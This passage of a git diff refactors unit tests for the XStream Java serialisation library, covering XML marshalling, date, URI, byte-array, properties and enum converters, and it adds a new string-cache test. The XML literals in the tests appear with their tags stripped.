xstream.fromXML(xml); + final X x = (X)xstream.fromXML(xml); assertEquals("joe", x.aStr); assertEquals(8, x.anInt); @@ -122,130 +123,131 @@ public void testUnmarshalsObjectFromXml() { } public void testMarshalsObjectToXml() { - X x = new X(); + final X x = new X(); x.anInt = 9; x.aStr = "zzz"; x.innerObj = new Y(); x.innerObj.yField = "ooo"; - String expected = - "\n" + - " zzz\n" + - " 9\n" + - " \n" + - " ooo\n" + - " \n" + - ""; + final String expected = ""// + + "\n" + + " zzz\n" + + " 9\n" + + " \n" + + " ooo\n" + + " \n" + + ""; assertEquals(xstream.fromXML(expected), x); } public void testUnmarshalsClassWithoutDefaultConstructor() { - String xml = - "" + - " 999" + - ""; + final String xml = ""// + + "" + + " 999" + + ""; - FunnyConstructor funnyConstructor = (FunnyConstructor) xstream.fromXML(xml); + final FunnyConstructor funnyConstructor = (FunnyConstructor)xstream.fromXML(xml); assertEquals(999, funnyConstructor.i); } public void testHandlesLists() { - WithList original = new WithList(); - Y y = new Y(); + final WithList original = new WithList<>(); + final Y y = new Y(); y.yField = "a"; original.things.add(y); original.things.add(new X(3)); original.things.add(new X(1)); - String xml = xstream.toXML(original); - - String expected = - "\n" + - " \n" + - " \n" + - " a\n" + - " \n" + - " \n" + - " 3\n" + - " \n" + - " \n" + - " 1\n" + - " \n" + - " \n" + - ""; + final String xml = xstream.toXML(original); + + final String expected = ""// + + "\n" + + " \n" + + " \n" + + " a\n" + + " \n" + + " \n" + + " 3\n" + + " \n" + + " \n" + + " 1\n" + + " \n" + + " \n" + + ""; assertEquals(expected, xml); - WithList result = (WithList) xstream.fromXML(xml); + final WithList result = xstream.fromXML(xml); assertEquals(original, result); } public void testCanHandleNonStaticPrivateInnerClass() { - NonStaticInnerClass obj = new NonStaticInnerClass(); + final NonStaticInnerClass obj = new NonStaticInnerClass(); obj.field = 3; xstream.alias("inner", NonStaticInnerClass.class); - String xml = xstream.toXML(obj); + final String xml = xstream.toXML(obj); - String expected = "" - + "\n" - + " 3\n" - + " \n" - + " testCanHandleNonStaticPrivateInnerClass\n" - + " \n" - + ""; + final String expected = "" + + "\n" + + " 3\n" + + " \n" + + " testCanHandleNonStaticPrivateInnerClass\n" + + " \n" + + ""; assertEquals(xstream.fromXML(expected), obj); - NonStaticInnerClass result = (NonStaticInnerClass) xstream.fromXML(xml); + final NonStaticInnerClass result = (NonStaticInnerClass)xstream.fromXML(xml); assertEquals(obj.field, result.field); } public void testClassWithoutMappingUsesFullyQualifiedName() { - Person obj = new Person(); + final Person obj = new Person(); - String xml = xstream.toXML(obj); + final String xml = xstream.toXML(obj); - String expected = ""; + final String expected = ""; assertEquals(expected, xml); - Person result = (Person) xstream.fromXML(xml); + final Person result = (Person)xstream.fromXML(xml); assertEquals(obj, result); } private class NonStaticInnerClass extends StandardObject { + private static final long serialVersionUID = 200310L; int field; } public void testCanBeBeUsedMultipleTimesWithSameInstance() { - Y obj = new Y(); + final Y obj = new Y(); obj.yField = "x"; assertEquals(xstream.toXML(obj), xstream.toXML(obj)); } - public void testAccessToUnderlyingDom4JImplementation() - throws Exception { + public void testAccessToUnderlyingDom4JImplementation() throws Exception { - String xml = - "" + - " jason" + - " van Zyl" + - " " + - " bar" + - " " + - ""; + final String xml = ""// + + "" + + " jason" + + " van Zyl" + + " " + + " bar" + + " " + + ""; xstream.registerConverter(new ElementConverter()); xstream.alias("person", Person.class); - Dom4JDriver driver = new Dom4JDriver(); - Person person = (Person) xstream.unmarshal(driver.createReader(new StringReader(xml))); + final Dom4JDriver driver = new Dom4JDriver(); + @SuppressWarnings("resource") + final Person person = (Person)xstream.unmarshal(driver.createReader(new StringReader(xml))); assertEquals("jason", person.firstName); assertEquals("van Zyl", person.lastName); @@ -254,6 +256,7 @@ public void testAccessToUnderlyingDom4JImplementation() } public static class Person extends StandardObject { + private static final long serialVersionUID = 200405L; String firstName; String lastName; Element element; @@ -261,17 +264,22 @@ public static class Person extends StandardObject { private class ElementConverter implements Converter { - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return Element.class.isAssignableFrom(type); } - public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) { + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, + final MarshallingContext context) { } - public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { + @SuppressWarnings("resource") + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { - AbstractDocumentReader documentReader = (AbstractDocumentReader)reader.underlyingReader(); - Element element = (Element) documentReader.getCurrent(); + final AbstractDocumentReader documentReader = (AbstractDocumentReader)reader.underlyingReader(); + final Element element = (Element)documentReader.getCurrent(); while (reader.hasMoreChildren()) { reader.moveDown(); @@ -282,19 +290,18 @@ public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext co } } - public void testPopulationOfAnObjectGraphStartingWithALiveRootObject() - throws Exception { + public void testPopulationOfAnObjectGraphStartingWithALiveRootObject() throws Exception { - String xml = - "" + - " host" + - " 8000" + - ""; + final String xml = ""// + + "" + + " host" + + " 8000" + + ""; xstream.alias("component", Component.class); - Component component0 = new Component(); - Component component1 = (Component) xstream.fromXML(xml, component0); + final Component component0 = new Component(); + final Component component1 = xstream.fromXML(xml, component0); assertSame(component0, component1); assertEquals("host", component0.host); assertEquals(8000, component0.port); @@ -305,17 +312,16 @@ static class Component { int port; } - public void testPopulationOfThisAsRootObject() - throws Exception { - - String xml ="" - + "\n" - + " host\n" - + " 8000\n" - + ""; + public void testPopulationOfThisAsRootObject() throws Exception { + + final String xml = ""// + + "\n" + + " host\n" + + " 8000\n" + + ""; xstream.alias("component", SelfSerializingComponent.class); - SelfSerializingComponent component = new SelfSerializingComponent(); + final SelfSerializingComponent component = new SelfSerializingComponent(); component.host = "host"; component.port = 8000; assertEquals(xml, component.toXML(xstream)); @@ -325,96 +331,95 @@ public void testPopulationOfThisAsRootObject() assertEquals("host", component.host); assertEquals(8000, component.port); } - + static class SelfSerializingComponent extends Component { - String toXML(XStream xstream) { + String toXML(final XStream xstream) { return xstream.toXML(this); } - void fromXML(XStream xstream, String xml) { + + void fromXML(final XStream xstream, final String xml) { xstream.fromXML(xml, this); } } - public void testUnmarshalsWhenAllImplementationsAreSpecifiedUsingAClassIdentifier() - throws Exception { - - String xml = - "" + - " " + - " " + - " " + - " foo " + - " " + - " " + - " " + - ""; - - HandlerManager hm = (HandlerManager) xstream.fromXML(xml); - Handler h = (Handler) hm.getHandlers().get(0); - Protocol p = h.getProtocol(); + public void testUnmarshalsWhenAllImplementationsAreSpecifiedUsingAClassIdentifier() throws Exception { + + final String xml = ""// + + "" + + " " + + " " + + " " + + " foo " + + " " + + " " + + " " + + ""; + + final HandlerManager hm = (HandlerManager)xstream.fromXML(xml); + final Handler h = hm.getHandlers().get(0); + final Protocol p = h.getProtocol(); assertEquals("foo", p.getId()); } public void testObjectOutputStreamCloseTwice() throws IOException { - ObjectOutputStream oout = xstream.createObjectOutputStream(new StringWriter()); - oout.writeObject(new Integer(1)); + final ObjectOutputStream oout = xstream.createObjectOutputStream(new StringWriter()); + oout.writeObject(Integer.valueOf(1)); oout.close(); oout.close(); } public void testObjectOutputStreamCloseAndFlush() throws IOException { - ObjectOutputStream oout = xstream.createObjectOutputStream(new StringWriter()); - oout.writeObject(new Integer(1)); + final ObjectOutputStream oout = xstream.createObjectOutputStream(new StringWriter()); + oout.writeObject(Integer.valueOf(1)); oout.close(); try { oout.flush(); fail("Closing and flushing should throw a StreamException"); - } catch (StreamException e) { + } catch (final StreamException e) { // ok } } public void testObjectOutputStreamCloseAndWrite() throws IOException { - ObjectOutputStream oout = xstream.createObjectOutputStream(new StringWriter()); - oout.writeObject(new Integer(1)); + final ObjectOutputStream oout = xstream.createObjectOutputStream(new StringWriter()); + oout.writeObject(Integer.valueOf(1)); oout.close(); try { - oout.writeObject(new Integer(2)); + oout.writeObject(Integer.valueOf(2)); fail("Closing and writing should throw a StreamException"); - } catch (StreamException e) { + } catch (final StreamException e) { // ok } } public void testUnmarshalsFromFile() throws IOException { - File file = createTestFile(); + final File file = createTestFile(); xstream.registerConverter(new ElementConverter()); xstream.alias("component", Component.class); - Component person = (Component)xstream.fromXML(file); + final Component person = (Component)xstream.fromXML(file); assertEquals(8000, person.port); } public void testUnmarshalsFromURL() throws IOException { - File file = createTestFile(); + final File file = createTestFile(); xstream.alias("component", Component.class); - Component person = (Component)xstream.fromXML(file); + final Component person = (Component)xstream.fromXML(file); assertEquals(8000, person.port); } - private File createTestFile() - throws FileNotFoundException, IOException, UnsupportedEncodingException { - String xml ="" - + "\n" - + " host\n" - + " 8000\n" - + ""; + private File createTestFile() throws FileNotFoundException, IOException, UnsupportedEncodingException { + final String xml = "" // + + "\n" + + " host\n" + + " 8000\n" + + ""; - File dir = new File("target/test-data"); + final File dir = new File("target/test-data"); dir.mkdirs(); - File file = new File(dir, "test.xml"); - FileOutputStream fos = new FileOutputStream(file); - fos.write(xml.getBytes("UTF-8")); - fos.close(); + final File file = new File(dir, "test.xml"); + try (final FileOutputStream fos = new FileOutputStream(file)) { + fos.write(xml.getBytes("UTF-8")); + } return file; } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/basic/DateConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/basic/DateConverterTest.java index 418261ab6..648953cf6 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/basic/DateConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/basic/DateConverterTest.java @@ -1,22 +1,16 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2012, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2012, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 22. February 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.basic; -import com.thoughtworks.xstream.converters.ConversionException; -import com.thoughtworks.xstream.core.JVM; -import com.thoughtworks.xstream.testutil.TimeZoneChanger; - -import junit.framework.TestCase; - import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; @@ -29,21 +23,29 @@ import java.util.Locale; import java.util.TimeZone; +import com.thoughtworks.xstream.converters.ConversionException; +import com.thoughtworks.xstream.core.JVM; +import com.thoughtworks.xstream.testutil.TimeZoneChanger; + +import junit.framework.TestCase; + public class DateConverterTest extends TestCase { private DateConverter converter = new DateConverter(); + @Override protected void setUp() throws Exception { super.setUp(); // Ensure that this test always run as if it were in the IST timezone. // This prevents failures when running the tests in different zones. - // Note: 'IST' has no relevance - it was just a randomly chosen zone + // Note: 'IST' has no relevance - it was just a randomly chosen zone // without daylight saving. TimeZoneChanger.change("IST"); } + @Override protected void tearDown() throws Exception { TimeZoneChanger.reset(); super.tearDown(); @@ -51,11 +53,11 @@ protected void tearDown() throws Exception { public void testRetainsDetailDownToMillisecondLevel() { // setup - Date in = new Date(); + final Date in = new Date(); // execute - String text = converter.toString(in); - Date out = (Date)converter.fromString(text); + final String text = converter.toString(in); + final Date out = (Date)converter.fromString(text); // verify assertEquals(in, out); @@ -65,44 +67,44 @@ public void testRetainsDetailDownToMillisecondLevel() { public void testUnmarshalsOldXStreamDatesThatLackMillisecond() { converter = new DateConverter((TimeZone)null); // use default TZ - Date expected = (Date)converter.fromString("2004-02-22 15:16:04.0 EST"); + final Date expected = (Date)converter.fromString("2004-02-22 15:16:04.0 EST"); assertEquals(expected, converter.fromString("2004-02-22 15:16:04.0 EST")); assertEquals(expected, converter.fromString("2004-02-22 15:16:04 EST")); assertEquals(expected, converter.fromString("2004-02-22 15:16:04EST")); - + TimeZone.setDefault(TimeZone.getTimeZone("EST")); // Need correct local time, no TZ info in string assertEquals(expected, converter.fromString("2004-02-22 15:16:04.0 PM")); assertEquals(expected, converter.fromString("2004-02-22 15:16:04PM")); } public void testUnmarshalsDatesWithDifferentTimeZones() { - converter = new DateConverter(true); // Needed by JDK 5 running on Codehaus' Bamboo installation - Date expected = (Date)converter.fromString("2004-02-22 15:16:04.0 EST"); + converter = new DateConverter(true); // Needed by JDK 5 running on Codehaus' Bamboo installation + final Date expected = (Date)converter.fromString("2004-02-22 15:16:04.0 EST"); assertEquals(expected, converter.fromString("2004-02-22 15:16:04.0 EST")); assertEquals(expected, converter.fromString("2004-02-22 15:16:04.0 GMT-05:00")); assertEquals(expected, converter.fromString("2004-02-22 20:16:04.0 UTC")); assertEquals(expected, converter.fromString("2004-02-23 01:46:04.0 IST")); assertEquals(expected, converter.fromString("2004-02-23 01:46:04.0 GMT+05:30")); - + if (JVM.canParseISO8601TimeZoneInDateFormat()) { // W3C subset of ISO 8601 date time representations assertEquals(expected, converter.fromString("2004-02-22T15:16:04-05:00")); assertEquals(expected, converter.fromString("2004-02-22T20:16:04Z")); assertEquals(expected, converter.fromString("2004-02-22T20:16:04.0Z")); - expected.setTime(expected.getTime()-4000); + expected.setTime(expected.getTime() - 4000); assertEquals(expected, converter.fromString("2004-02-22T15:16-05:00")); } } public void testUnmarshalsDateWithDifferentDefaultTimeZones() throws ParseException { converter = new DateConverter((TimeZone)null); // use default TZ - Calendar cal = Calendar.getInstance(); + final Calendar cal = Calendar.getInstance(); cal.clear(); cal.set(2004, Calendar.FEBRUARY, 23, 1, 46, 4); - Date date = cal.getTime(); - String strIST = converter.toString(date); + final Date date = cal.getTime(); + final String strIST = converter.toString(date); assertEquals("2004-02-23 01:46:04.0 IST", strIST); // select arbitrary TZ TimeZone.setDefault(TimeZone.getTimeZone("EST")); @@ -128,20 +130,21 @@ public void testUnmarshalsDateWithDifferentDefaultTimeZones() throws ParseExcept } public void testIsThreadSafe() throws InterruptedException { - final List results = Collections.synchronizedList(new ArrayList()); + final List results = Collections.synchronizedList(new ArrayList()); final DateConverter converter = new DateConverter(); final Object monitor = new Object(); final int numberOfCallsPerThread = 20; final int numberOfThreads = 20; // spawn some concurrent threads, that hammer the converter - Runnable runnable = new Runnable() { + final Runnable runnable = new Runnable() { + @Override public void run() { for (int i = 0; i < numberOfCallsPerThread; i++) { try { converter.fromString("2004-02-22 15:16:04.0 EST"); results.add("PASS"); - } catch (ConversionException e) { + } catch (final ConversionException e) { results.add("FAIL"); } finally { synchronized (monitor) { @@ -165,23 +168,23 @@ public void run() { assertTrue("Nothing suceeded", results.contains("PASS")); assertFalse("At least one attempt failed", results.contains("FAIL")); } - + public void testDatesInNonLenientMode() { - String[] dateFormats = new String[] { "yyyyMMdd", "yyyy-MM-dd'T'HH:mm:ss'Z'", "yyyy-MM-dd" }; + final String[] dateFormats = new String[]{"yyyyMMdd", "yyyy-MM-dd'T'HH:mm:ss'Z'", "yyyy-MM-dd"}; converter = new DateConverter("yyyy-MM-dd'T'HH:mm:ss.S'Z'", dateFormats); - Date expected = (Date)converter.fromString("2004-02-22T15:16:04.0Z"); + final Date expected = (Date)converter.fromString("2004-02-22T15:16:04.0Z"); assertEquals(expected, converter.fromString("2004-02-22T15:16:04Z")); } - + public void testDatesInLenientMode() { converter = new DateConverter("yyyy-MM-dd HH:mm:ss.S z", new String[0], true); - Date expected = (Date)converter.fromString("2004-02-22 15:16:04.0 IST"); + final Date expected = (Date)converter.fromString("2004-02-22 15:16:04.0 IST"); assertEquals(expected, converter.fromString("2004-02-21 39:16:04.0 IST")); } - + public void testDatesIn70sInTimeZoneGMT() throws ParseException { converter = new DateConverter((TimeZone)null); // use default TZ - + final String pattern = "yyyy-MM-dd HH:mm:ss.S z"; final SimpleDateFormat format; @@ -189,63 +192,59 @@ public void testDatesIn70sInTimeZoneGMT() throws ParseException { format.setTimeZone(TimeZone.getTimeZone("GMT")); final String[] expected = new String[]{ - "1970-01-01 11:20:34.0 GMT", - "1971-01-01 11:20:34.0 GMT", - "1972-01-01 11:20:34.0 GMT", - "1973-01-01 11:20:34.0 GMT", - "1974-01-01 11:20:34.0 GMT", - }; + "1970-01-01 11:20:34.0 GMT", "1971-01-01 11:20:34.0 GMT", "1972-01-01 11:20:34.0 GMT", + "1973-01-01 11:20:34.0 GMT", "1974-01-01 11:20:34.0 GMT",}; final String[] actual = new String[expected.length]; - for (int i = 0; i < actual.length; i++ ) { - final String converted = converter.toString((Date)format.parseObject(expected[i])); - // Note, XStream's string representation of the date is in IST + for (int i = 0; i < actual.length; i++) { + final String converted = converter.toString(format.parseObject(expected[i])); + // Note, XStream's string representation of the date is in IST actual[i] = format.format(converter.fromString(converted)); } - + assertEquals(Arrays.asList(expected).toString(), Arrays.asList(actual).toString()); } public void testDatesWithAmbiguous3LetterTimeZones() { TimeZone.setDefault(TimeZone.getTimeZone("Australia/Brisbane")); // EST also used e.g. for America/Toronto - Date expected = new Date(0); + final Date expected = new Date(0); assertEquals(expected, converter.fromString(converter.toString(expected))); } public void testDatesWithEpoche() { - Calendar cal = Calendar.getInstance(); + final Calendar cal = Calendar.getInstance(); cal.setTimeZone(TimeZone.getTimeZone("UTC")); assertEquals(GregorianCalendar.AD, cal.get(Calendar.ERA)); cal.clear(); cal.set(1, Calendar.JANUARY, 1); cal.add(Calendar.MILLISECOND, -1); - Date date = cal.getTime(); + final Date date = cal.getTime(); assertEquals("0001-12-31 BC 23:59:59.999 UTC", converter.toString(date)); assertEquals(date, converter.fromString("0001-12-31 BC 23:59:59.999 UTC")); cal.add(Calendar.MILLISECOND, 1); assertEquals(cal.getTime(), converter.fromString("0001-01-01 AD 00:00:00.000 UTC")); } - + public void testDatesWithEnglishLocaleOfDefault() { - converter = new DateConverter(null, "EEEE, dd MMMM yyyy z", - null, Locale.ENGLISH, TimeZone.getTimeZone("UTC"), false); - Calendar cal = Calendar.getInstance(); + converter = new DateConverter(null, "EEEE, dd MMMM yyyy z", null, Locale.ENGLISH, TimeZone.getTimeZone("UTC"), + false); + final Calendar cal = Calendar.getInstance(); cal.setTimeZone(TimeZone.getTimeZone("UTC")); cal.clear(); cal.set(2000, Calendar.JANUARY, 1); - Date date = cal.getTime(); + final Date date = cal.getTime(); assertEquals("Saturday, 01 January 2000 UTC", converter.toString(date)); assertEquals(date, converter.fromString("Saturday, 01 January 2000 UTC")); } - + public void testDatesWithGermanLocale() { - converter = new DateConverter(null, "EEEE, dd MMMM yyyy z", - null, Locale.GERMAN, TimeZone.getTimeZone("UTC"), false); - Calendar cal = Calendar.getInstance(); + converter = new DateConverter(null, "EEEE, dd MMMM yyyy z", null, Locale.GERMAN, TimeZone.getTimeZone("UTC"), + false); + final Calendar cal = Calendar.getInstance(); cal.setTimeZone(TimeZone.getTimeZone("UTC")); cal.clear(); cal.set(2000, Calendar.JANUARY, 1); - Date date = cal.getTime(); + final Date date = cal.getTime(); assertEquals("Samstag, 01 Januar 2000 UTC", converter.toString(date)); assertEquals(date, converter.fromString("Samstag, 01 Januar 2000 UTC")); } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/basic/StringConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/basic/StringConverterTest.java new file mode 100644 index 000000000..afcb93d58 --- /dev/null +++ b/xstream/src/test/com/thoughtworks/xstream/converters/basic/StringConverterTest.java @@ -0,0 +1,65 @@ +/* + * Copyright (C) 2020 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 12. Mar 2020 by Zezeng Wang + */ + +package com.thoughtworks.xstream.converters.basic; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import junit.framework.TestCase; + + +/** + * Tests {@link StringConverter}. + */ +public class StringConverterTest extends TestCase { + + /** + * Tests use of own map implementation for cache. + */ + public void testOwnMapImplementationForCache() { + // Using the parameter map constructor + final Map map = new ConcurrentHashMap<>(); + final StringConverter converter = new StringConverter(map); + assertSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // cached value + assertEquals(1, map.size()); + } + + /** + * Tests cache limitation for string length. + */ + public void testCacheLimitationBasedOnStringLength() { + // Using the int constructor + final StringConverter converter = new StringConverter(4); + assertSame(converter.fromString("Test"), converter.fromString(new String("Test"))); // cached value + assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value + } + + /** + * Tests no cache. + */ + public void testNoCache() { + final StringConverter converter = new StringConverter(null); + assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value + } + + /** + * Tests own map implementation and string length limit for cache. + */ + public void testOwnMapImplementationAndStringLegnthLimitForCache() { + // Using the map and int constructor + final Map map = new ConcurrentHashMap<>(); + final StringConverter converter = new StringConverter(map, 4); + assertSame(converter.fromString("Test"), converter.fromString(new String("Test"))); // cached value + assertNotSame(converter.fromString("JUnit"), converter.fromString(new String("JUnit"))); // non-cached value + assertEquals(1, map.size()); + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/basic/URIConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/basic/URIConverterTest.java index 1001d468d..efd574df9 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/basic/URIConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/basic/URIConverterTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2010 XStream Committers. + * Copyright (C) 2010, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 3. August 2010 by Joerg Schaible */ package com.thoughtworks.xstream.converters.basic; @@ -16,18 +16,20 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; + /** * @author Carlos Roman */ -public class URIConverterTest extends AbstractAcceptanceTest { +public class URIConverterTest extends AbstractAcceptanceTest { private static final String TEST_URI_STRING = "rtmp://cp12345.edgefcs.net/od/public/file.flv"; private static URI TEST_URI; - + public URIConverterTest() { } - public void setUp() throws Exception{ + @Override + public void setUp() throws Exception { xstream = new XStream(new DomDriver("UTF-8")); xstream.registerConverter(new URIConverter()); TEST_URI = new URI(TEST_URI_STRING); @@ -39,7 +41,7 @@ public void setUp() throws Exception{ * Test of canConvert method, of class URIConverter. */ public void testCanConvert() { - final Class type = URI.class; + final Class type = URI.class; final URIConverter instance = new URIConverter(); final boolean expResult = true; final boolean result = instance.canConvert(type); @@ -49,10 +51,10 @@ public void testCanConvert() { /** * Test of fromString method, of class URIConverter. */ - public void testFromString() throws Exception{ + public void testFromString() throws Exception { final URIConverter instance = new URIConverter(); final Object expResult = new URI(TEST_URI_STRING); final Object result = instance.fromString(TEST_URI_STRING); assertEquals(expResult, result); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/collections/ByteArrayConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/collections/ByteArrayConverterTest.java index e7b7872e8..e875b3f43 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/collections/ByteArrayConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/collections/ByteArrayConverterTest.java @@ -1,35 +1,41 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 25. April 2004 by James Strachan */ package com.thoughtworks.xstream.converters.collections; +import java.util.Arrays; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; -public class ByteArrayConverterTest extends AbstractAcceptanceTest { +public class ByteArrayConverterTest extends AbstractAcceptanceTest { public void testMarshallByteArrays() { - Dummy input = new Dummy(new byte[0]); + final Dummy input = new Dummy(new byte[0]); - String expected = "\n \n"; + final String expected = "" // + + "\n" + + " \n" + + ""; assertBothWays(input, expected); } public static class Dummy { byte[] data; - + + @SuppressWarnings("unused") private Dummy() { } - public Dummy(byte[] data) { + public Dummy(final byte[] data) { this.data = data; } @@ -37,22 +43,23 @@ public byte[] getData() { return data; } - public boolean equals(Object that) { + @Override + public boolean equals(final Object that) { if (that instanceof Dummy) { - return equals((Dummy) that); + return equals((Dummy)that); } return false; } - public boolean equals(Dummy that) { - if (this.data == that.data) { + public boolean equals(final Dummy that) { + if (data == that.data) { return true; } - if (this.data != null && that.data != null) { - if (this.data.length == that.data.length) { + if (data != null && that.data != null) { + if (data.length == that.data.length) { for (int i = 0; i < data.length; i++) { - byte b1 = data[i]; - byte b2 = that.data[i]; + final byte b1 = data[i]; + final byte b2 = that.data[i]; if (b1 != b2) { return false; } @@ -63,8 +70,14 @@ public boolean equals(Dummy that) { return false; } + + @Override + public int hashCode() { + return Arrays.hashCode(data); + } } + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("dummy", Dummy.class); diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/collections/PropertiesConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/collections/PropertiesConverterTest.java index cd0002643..2420bec0f 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/collections/PropertiesConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/collections/PropertiesConverterTest.java @@ -1,83 +1,84 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. February 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.collections; +import java.util.Properties; + import com.thoughtworks.acceptance.AbstractAcceptanceTest; -import java.util.Properties; public class PropertiesConverterTest extends AbstractAcceptanceTest { public void testConvertsPropertiesObjectToShortKeyValueElements() { - Properties properties = new Properties(); + final Properties properties = new Properties(); properties.setProperty("hello", "world"); properties.setProperty("foo", "cheese"); - String expected = "" + - "\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + ""; assertBothWaysNormalized(properties, expected, "properties", "property", "@name"); } public void testIncludesDefaultProperties() { - Properties defaults = new Properties(); + final Properties defaults = new Properties(); defaults.setProperty("host", "localhost"); defaults.setProperty("port", "80"); - Properties override = new Properties(defaults); + final Properties override = new Properties(defaults); override.setProperty("port", "999"); // sanity check assertEquals("Unexpected overriden property", "999", override.getProperty("port")); assertEquals("Unexpected default property", "localhost", override.getProperty("host")); - String expected = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; - Properties out = (Properties) assertBothWays(override, expected); + final Properties out = this.assertBothWays(override, expected); assertEquals("Unexpected overriden property", "999", out.getProperty("port")); assertEquals("Unexpected default property", "localhost", out.getProperty("host")); assertEquals(override, out); } public void testCanSortElements() { - Properties defaults = new Properties(); + final Properties defaults = new Properties(); defaults.setProperty("host", "localhost"); defaults.setProperty("port", "80"); - Properties override = new Properties(defaults); + final Properties override = new Properties(defaults); override.setProperty("port", "999"); override.setProperty("domain", "codehaus.org"); - String expected = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; xstream.registerConverter(new PropertiesConverter(true)); - Properties out = (Properties) assertBothWays(override, expected); + final Properties out = this.assertBothWays(override, expected); assertEquals("Unexpected overriden property", "999", out.getProperty("port")); assertEquals("Unexpected default property", "localhost", out.getProperty("host")); assertEquals(override, out); diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumConverterTest.java index 43463fcbb..aded48152 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/enums/EnumConverterTest.java @@ -1,22 +1,20 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 18. March 2005 by Joe Walnes */ package com.thoughtworks.xstream.converters.enums; import com.thoughtworks.xstream.XStream; + import junit.framework.TestCase; -// ***** READ THIS ***** -// This class will only compile with JDK 1.5.0 or above as it test Java enums. -// If you are using an earlier version of Java, just don't try to build this class. XStream should work fine without it. /** * @author Joe Walnes @@ -26,6 +24,7 @@ public class EnumConverterTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); @@ -34,15 +33,15 @@ protected void setUp() throws Exception { } public void testRepresentsEnumAsSingleStringValue() { - String expectedXml = "GREEN"; - SimpleEnum in = SimpleEnum.GREEN; + final String expectedXml = "GREEN"; + final SimpleEnum in = SimpleEnum.GREEN; assertEquals(expectedXml, xstream.toXML(in)); assertEquals(in, xstream.fromXML(expectedXml)); } public void testRepresentsPolymorphicEnumAsSingleStringValue() { - String expectedXml = "B"; - PolymorphicEnum in = PolymorphicEnum.B; + final String expectedXml = "B"; + final PolymorphicEnum in = PolymorphicEnum.B; assertEquals(expectedXml, xstream.toXML(in)); assertEquals(in, xstream.fromXML(expectedXml)); } @@ -57,11 +56,11 @@ public void testResolvesSpecializedPolymorphicEnum() { PolymorphicEnum out; in = PolymorphicEnum.A; - out = (PolymorphicEnum) xstream.fromXML(xstream.toXML(in)); + out = xstream.fromXML(xstream.toXML(in)); assertEquals("apple", ((Fruit)out).fruit()); // see Bug ID: 6522780 in = PolymorphicEnum.B; - out 